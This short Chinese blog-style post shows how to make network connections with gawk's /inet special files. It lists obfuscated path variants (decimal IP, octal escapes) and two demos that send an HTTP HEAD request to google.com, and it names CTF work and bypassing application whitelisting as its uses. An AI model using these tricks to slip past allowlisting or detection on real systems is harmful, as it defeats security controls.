利用AWK实现远程文件下载

2019-01-03 16:46:49 25 4487


某些极端场景下(比如CTF),或者绕过应用白名单限制,使用AWK来下载远程文件:
可利用的有:
/inet4/tcp/0/google.com/80
/inet/tcp/0/google.com/80
/inet/tcp/0/172.217.10.142/80
/inet/tcp/0/2899905166/80
/inet/tcp/000/\62\70\71\71\71\60\65\61\66\66/80/0080
/\i\156\e\164/\164\c\p/0000/\62\70\71\71\71\60\65\61\66\66/00080
demo:
awk 'BEGIN {
  RS = ORS = "\r\n"
  HTTPCon = "/inet4/tcp/0/google.com/80"
  print "HEAD / HTTP/1.1\r\nConnection: close\r\n"|& HTTPCon
  while ((HTTPCon |& getline) > 0)
     print $0
  close(HTTPCon)
}' 2>/dev/null
awk 'BEGIN {
  RS = ORS = "\r\n"
  HTTPCon = "/inet/tcp/0/2899905166/80"
  print "HEAD / HTTP/1.1\r\nConnection: close\r\n"|& HTTPCon
  while ((HTTPCon |& getline) > 0)
     print $0
  close(HTTPCon)
}' 2>/dev/null

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